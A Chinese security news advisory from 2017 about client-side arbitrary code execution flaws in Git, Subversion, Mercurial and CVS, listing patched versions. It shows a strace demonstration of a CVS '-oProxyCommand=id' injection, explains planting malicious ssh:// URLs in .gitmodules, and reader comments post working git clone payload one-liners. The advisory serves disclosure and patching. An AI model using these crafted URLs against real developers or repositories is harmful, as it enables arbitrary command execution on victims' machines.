当前位置:安全客 >> 资讯详情

【漏洞预警】​多款主流版本控制系统被曝存在客户端任意代码执行漏洞

2017-08-11 16:48:21 阅读:55530次 收藏 来源: 安全客 作者:安全客

http://p1.qhimg.com/t019225f9c3b431cf21.jpg

前言


世界各地的程序员请注意,现在必须立即更新你的版本控制系统,Git、SVN、Mercurial开源版本控制系统近日修复严重安全漏洞,未及时升级,则会受到该漏洞的影响。


多款主流版本控制系统存在客户端任意代码执行漏洞


三款主流的源版本控制系统Git、Subversion (svn)、CVS、Mercurial,今日发布了更新补丁,修复了一个客户端代码执行漏洞。

该漏洞由GitLab的Brian Neel,Recurity Labs的Joan Schneeweiss和GitHub的Jeff King发现和报告的。

应用于Linux kernel、GitHub和Gitlab背后的开源版本控制系统Git。今天发布了多个更新版本,Git v2.14.1、2.7.6、v2.8.6、v2.9.5、v2.10.4、v2.11.3、v2.12.4和v2.13.5,用于修复该漏洞。

“此次更新修复了编号为CVE-2017-1000117的漏洞,与Subversion和Mercurial的维护者发布的相似,都存在这个类似的问题。”Git维护者Junio Hamano在邮件列表中写道。

通过-o选项的SSH命令注入,同样影响CVS 1.12.x !

可以配置CVS通过SSH访问远程仓库,比如设置CVS_RSH=ssh,这样的话,只要指定以-o开头的hostname就可以触发

  $ strace -f -e execve cvs -d '-oProxyCommand=id;localhost:/bar' co yada 2>&1 | egrep id
  execve("/usr/bin/cvs", ["cvs", "-d", "-oProxyCommand=id;localhost:/bar", "co", "yada"], 0x7ffe69f75a68 /* 139 vars 
*/) = 0
  [snip]
  [pid 20003] execve("/usr/local/bin/ssh", ["ssh", "-oProxyCommand=id;localhost", "cvs server"], 0x5fb1fc8420 /* 141 
vars */) = -1 ENOENT (No such file or directory)
  [pid 20003] execve("/usr/bin/ssh", ["ssh", "-oProxyCommand=id;localhost", "cvs server"], 0x5fb1fc8420 /* 141 vars */) 
= 0
  [pid 20004] execve("/bin/bash", ["/bin/bash", "-c", "exec id;localhost"], 0x32af5f10d0 /* 141 vars */) = 0
  [pid 20004] execve("/usr/bin/id", ["id"], 0xec92226ae0 /* 141 vars */) = 0
  [pid 20004] +++ exited with 0 +++
  [pid 20003] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20004, si_uid=3612, si_status=0, si_utime=0, 
si_stime=0} ---
  ssh_exchange_identification: Connection closed by remote host
  [pid 20003] +++ exited with 255 +++
  --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20003, si_uid=3612, si_status=255, si_utime=0, si_stime=0} 
---



漏洞利用


该漏洞需要结合一些社会工程学技巧才能更好的利用。

Git在其公告中警告:“恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码”。

攻击者通过精心构造一个"ssh://..."URL链接发送给受害者,如果受害者访问了这个URL,则会导致恶意指令在客户端执行。

恶意URL可以放在项目的".gitmodules"文件中,受害者执行“git clone --recurse-submodules”则会触发该漏洞。

Apache Subversion(SVN)1.9.7修补了CVE-2017-9800问题,它与Git中修补的内容是类似的。

“在svn:externals和svn:sync-from-url中通过构造恶意svn+ssh URL则会导致客户端任意代码执行”在此次SVN更新中修复了该安全问题。

开源的Mercurial版本控制系统在4.3和4.2.3修复了该漏洞,漏洞编号为CVE-2017-1000115。


漏洞利用演示截图


http://p5.qhimg.com/t0105073f37d9b7abfc.png

from 360cert


参考链接


http://blog.recurity-labs.com/2017-08-10/scm-vulns 

https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html

http://seclists.org/oss-sec/2017/q3/280


本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html

参与讨论,请先 | 注册 | 匿名评论
发布
用户评论
越南邻国宰相 2017-08-11 17:30:58
回复 |  点赞

评论被转义了。

网瘾患者 2017-08-11 17:29:49
回复 |  点赞

git clone ssh://-oProxyCommand='命令执行'/1 MacOSX下可以试试 git clone ssh://-oProxyCommand='open 1'/1

网瘾患者 2017-08-11 17:29:49
回复 |  点赞

git clone ssh://-oProxyCommand='命令执行'/1 MacOSX下可以试试 git clone ssh://-oProxyCommand='open 1'/1

123abcvcba321 2017-08-11 15:11:44
回复 |  点赞

//@这行代码有溢出://@RicterZ:有意思,不知道能不能攻击服务端

莫负杜康意 2017-08-11 14:41:42
回复 |  点赞

Repost

德法小u 2017-08-11 13:31:39
回复 |  点赞

ubuntu默认apt的版本刚好不被影响//@RicterZ:有意思,不知道能不能攻击服务端

李同学virusdefender 2017-08-11 12:42:23
回复 |  点赞

gitlab 之类在线导入的功能

这行代码有溢出 2017-08-11 12:41:39
回复 |  点赞

//@RicterZ:有意思,不知道能不能攻击服务端

Nearg1e 2017-08-11 12:41:39
回复 |  点赞

据说长亭的同学们已经构造出POC了?我还在翻Gitlab的安全更新…//@RicterZ:有意思,不知道能不能攻击服务端

77ca1k1k1 2017-08-11 12:41:39
回复 |  点赞

影响git, svn, hg 直接clone那种很容易看出来的url挺难,但是 注意在clone带有submodule的repo的时候要看看submodule的.gitmodules里面有没有恶意url

RicterZ 2017-08-11 12:31:40
回复 |  点赞

有意思,不知道能不能攻击服务端

查看更多